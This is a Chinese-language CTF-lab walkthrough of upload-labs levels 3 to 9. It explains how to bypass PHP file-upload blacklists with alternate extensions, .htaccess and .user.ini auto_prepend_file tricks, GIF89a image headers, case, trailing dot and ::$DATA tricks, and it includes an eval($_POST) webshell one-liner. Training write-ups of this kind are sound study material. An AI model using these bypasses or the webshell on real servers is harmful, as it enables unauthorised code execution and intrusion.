upload-labs pass3-9

pass03

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換爲小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

發現是黑名單,所以可以改後綴 .php3 .phtml等

同時代碼也把文件名更改了(代碼省略了),抓包時會獲得新的文件名

pass04

 $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");

黑名單過濾:特別地看phpx這樣的後綴名,然後是.ini,.htaccess 這兩個有沒有被遺漏

先上傳1張正常的圖片,再用.htaccess去覆蓋
內容:

<FilesMatch "webshell.PNG">
SetHandler application/x-httpd-php
</FilesMatch>

關於更多.htaccess 參考了這篇有更多嘗試
只能用於Apache

另一種方法:因爲apache 由右向左解析的特性, 因此可以上傳一個它不認識的後綴來繞過黑名單檢測,比如 shell.php.aaaaaa ,這樣可以繞過黑名單後綴讓文件成功上傳,又因爲apache的特性,可以成功以php來解析

pass05

也是黑名單,其它跟4一樣
但是這次黑名單少得是
.ini
所以考慮使用 user.ini
SUCTF 2019 CheckIn

在PHP中有個很有趣的東西叫.user.ini,有點類似.htaccess文件,PHP會在每個目錄下掃描INI文件,我們可以通過.user.ini文件來實現隱藏後門的效果

在.user.ini中可以識別PHP_INI_PERDIR和PHP_INI_USER模式的INI設置
關於PHP_INI_*一共有四種:

  • PHP_INI_USER 可在用戶腳本以及.user.ini中設定

  • PHP_INI_PERDIR 可在php.ini,.htaccess或httpd.conf中設定

  • PHP_INI_SYSTEM 可在php.ini或httpd.conf中設定

  • PHP_INI_ALL 可在任何地方設定

查閱php.ini配置項手冊:

配置項:auto_prepend_file
auto_prepend_file

該配置項會讓php文件在執行前先包含一個指定的文件,通過這個配置項,我們就可以來隱藏自己的後門

指定一個文件,自動包含在要執行的文件前,類似於在文件前調用了require()函數。而auto_append_file類似,只是在文件後面包含。 使用方法很簡單,直接寫在.user.ini中:

auto_prepend_file=test.jpg

那麼當我們訪問此目錄下的任何一個文件時,都會去包含test.jpg
參考文章
參考文章2

在upload-labs裏面沒有其它的過濾了,但是各種賽事題中,必定還有一些過濾,比如SUCTF這題,過濾了<? ,增加了圖片內容檢測(加上文件頭繞過),文章末尾會對本文再總結的! 對於pass05:我們可以先上傳一個.user.ini進去,用來解析含有php代碼的圖片(改了後綴這樣),即可達到繞過限制的目的。

過程:
(1)上傳一張圖片
(2)上傳 .user.ini 文件。內容爲:
auto_prepend_file=2.png(這一句即可) (3)訪問:http://IP/upload/2.png/xx.php(目錄中存在的 一個php文件)

當然,除了菜刀直接鏈接以外,還得學一點命令的,有時會出現不行的情況

再回到SUCTF這題= =
1.對於過濾<? 的繞過

<script language=”php”>xxx</script>
<% xxx %>
<? xxx ?>
<script language="php">eval($_POST['a']);</script>

2.exif_imagetype()函數 表示有文件幻數檢測
增加文件頭,或者把代碼直接貼到正常圖片的下面(圖片馬)
最簡單的是 圖片頭增加GIF89a

對於.user.ini也是一樣,要+文件頭的!!(畢竟上傳的時候都要檢測)
總的來說參考文章寫得特別好了!

pass06

還是黑名單的問題
這一關沒有考慮大小寫

缺少了:  $file_ext = strtolower($file_ext); //轉換爲小寫

pass07-09

首先,比較完整的繞過是這樣的:

  $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換爲小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

對於pass07-pass09 都有上述代碼不完善的地方
7:缺少去空
8:缺少刪除末尾的點
9:缺少::$DATA

所以對於文件webshell.php,末尾可以加點東西繞過

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章